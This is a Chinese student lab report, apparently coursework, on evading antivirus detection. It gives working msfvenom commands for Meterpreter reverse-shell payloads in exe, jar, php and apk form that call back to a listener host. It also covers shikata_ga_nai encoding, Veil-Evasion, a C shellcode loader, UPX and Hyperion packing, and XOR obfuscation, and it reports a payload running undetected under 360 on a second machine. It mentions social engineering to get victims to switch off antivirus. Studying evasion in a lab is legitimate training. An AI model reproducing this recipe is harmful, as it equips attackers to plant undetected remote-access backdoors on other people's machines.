一、实验任务
-
方法
-
正确使用msf编码器
-
msfvenom生成如jar之类的其他文件
-
veil
-
加壳工具
-
使用C + shellcode编程
-
使用其他课堂未介绍方法
-
-
通过组合应用各种技术实现恶意代码免杀。
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) -
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二、基础知识
恶意代码检测机制
-
1.基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
-
2.启发式恶意软件检测
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
-
3.基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀原理(Evading Anti-Virus)
-
1.改变特征码
-
有EXE —— 加壳:压缩壳 加密壳。
-
有shellcode(像Meterpreter)—— 用encode进行编码 /基于payload重新编译生成可执行文件。
-
有源代码 —— 用其他语言进行重写再编译(veil-evasion)。
-
-
2.改变行为
-
通讯方式:尽量使用反弹式连接 / 使用隧道技术 / 加密通讯数据
-
操作模式:基于内存操作 / 减少对系统的修改 / 加入混淆作用的正常功能代码
-
-
3.非常规方法
-
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
-
使用社工类攻击,诱骗目标关闭AV软件。
-
纯手工打造一个恶意软件。
-
三、问题回答(基于上述的基础知识来回答的)
问题1:杀软是如何检测出恶意代码的?
-
基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。
-
启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件。
-
基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。
问题2:免杀是做什么?
- 使恶意代码可以逃过杀软的查杀。同时,免杀也是渗透测试中需要使用到的技术。
问题3:免杀的基本方法有哪些?
-
改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件。
-
改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。
-
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
-
使用社工类攻击,诱骗目标关闭AV软件。
-
纯手工打造一个恶意软件。
问题4:开启杀软能绝对防止电脑中恶意代码吗?
- 不能,杀软在不断进步,恶意代码的技术也同样在不断更迭,我们能做的就是养成良好的上网习惯,并随时更新杀软病毒库,保证杀软的正常工作。
四、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
msf编码器生成exe
-
对在实验二中生成的
20175213_backdoor.exe
后门程序通过VirusTotal
和VirSCAN
两个网站进行检测。 -
使用VirusTotal扫描后结果如下,其中72个软件有59个都检测出来了
- 在使用VirSCAN扫描时,智能选择文件并点击扫描的时候卡在一个窗口无反应,应该是服务器的问题,暂时没有解决。
-
下面进行一次编码的后门程序:
-
命令为:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.111.130 LPORT=5213 -f exe > bd1.exe
-
其中,
-e
选择编码器;-b
是payload中需要清除的字符,为了使x00'
不出现在shellcode中。 -
生成过程如图:
-
使用VirusTotal检测如下:
-
-
进行十次编码:
-
使用
-i
设置迭代次数。 -
命令为:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.111.130 LPORT=5213 -f exe > bd10.exe
-
生成过程如图:
-
使用VirusTotal检测如下:
-
-
从上面的结果可见,多次编码对于免杀没有太大的帮助。查看了同学的博客后,知道有两点原因:
-
1.shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
-
2.msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。
-
使用msf生成其他格式的文件
-
生成jar文件:
-
生成命令为:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213java.jar
-
生成过程如图:
-
使用VirusTotal检测如下:
-
-
生成php文件:
-
生成命令为:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213php.php
-
生成过程如图:
-
使用VirusTotal检测如下(较jar文件效果更好):
-
-
生成apk文件:
-
生成命令为:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213android.apk
-
生成过程如图:
-
使用VirusTotal检测如下(效果一般):
-
使用veil-evasion生成后门程序及检测
- 在命令行中输入
sudo apt-get install veil
安装veil,需要选的第地方输入y
。
- 阶段性完成后再次输入
veil
继续安装,并输入y
。
- 在经过漫长的等待和重试后,终于安装好了veil。
-
安装成功后,在sudo模式下输入
veil
指令进入。 -
输入
use evasion
命令进入veil-evasion。
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面。
- 设置反弹连接IP地址(kali的IP),命令为
set LHOST 192.168.111.130
;并设置端口,命令为set LPORT 5213
。
- 输入命令
generate
生成文件,接着输入生成的playload的名称veil_c_5213
,保存路径为:/var/lib/veil/output/source/veil_c_5213.exe
。
- 使用VirusTotal检测结果如下
使用shellcode编程
- 通过命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 -f c
生成一段shellcode,截图如下:
- 在kali中创建一个c文件,命令为
vim 20175213.c
,将生成的buf [ ] 赋值到下列代码中:
unsigned char buf[] =
(复制的内容)
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 通过命令
i686-w64-mingw32-g++ 20175213.c -o 20175213.exe
命令,将.c文件转化为可执行文件。
- 使用VirusTotal检测如下
- 在windows上执行该程序时,未被杀软查杀(可能是腾讯电脑管家未识别到)
加壳工具
1. 压缩壳工具UPX
- 使用命令
upx 20175213.exe -o 20175213_upxed.exe
对上一步中生成的20175213.exe
加压缩壳得到20175213_upxed.exe
。
- 使用VirusTotal检测结果:
- 运行程序后,未被腾讯电脑管家识别.....
2. 加密壳工具Hyperion
- 通过命令
wine hyperion.exe -v 20175213_upxed.exe 20175213_upxed_Hyperion.exe
进行二次加壳。
- 使用VirusTotal检测结果如下:
- 在Windows中运行程序也未被腾讯电脑管家识别。
使用其他课程未介绍的方法
-
对shellcode进行免杀变形:
-
用msfvenom生成shellcode。
-
将shellcode中每一位于'0'进行异或。
-
将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率。
-
将最终的shellcode生成为一个可执行文件。
-
-
使用VirusTotal检测结果:
任务二:通过组合应用各种技术实现恶意代码免杀
-
组合思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe
-
使用360检测截图如下(因为腾讯安全管家不太好使...)
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 1.使用的是娄老师之前的Win7系统,详情看dir后截图。
- 2.杀软名称:360安全管家
- 3.版本:12.0.0.2002
五、实验中的问题及解决
问题1:
- 使用shellcode编程,对文件进行编译时,出现如图的错误:
- 解决:在查看了同学的博客后,在命令行中输入
sudo apt-get install mingw-w64
安装所需环境即可。
问题2:
- 在安装veil时遇到远程挂断等错误,并一直安装中断。
- 解决:耐心安装,耐心等待,终会成功。
问题3:
- 在加密壳工具Hyperion方式时,遇到如图问题
- 解决:在看了丁文韬同学的博客后,查阅了[相关资料](https://blog.csdn.net/weixin_36711901/article/details/103217022),重新编译Hyperion程序。注意在此步骤中,加壳程序要和hyperion.exe在同一文件夹下;还有不要在sudo模式下操作,不然会出现加壳程序复制不到和hyperion.exe在一起,如需复制,在命令行中操作,命令为
cp 原目标文件路径/文件名 目标路径
六、心得体会
这一次实验又是一次大长跑,分了两次去完成,第二次也从中午弄到晚上。veil的安装也令人抓狂,龟速的安装、各种中断错误...。不过好在还是圆满完成这一次实验,也从中学到了很多有用又好玩的东西,在一次次的查阅中也能不断提高自己。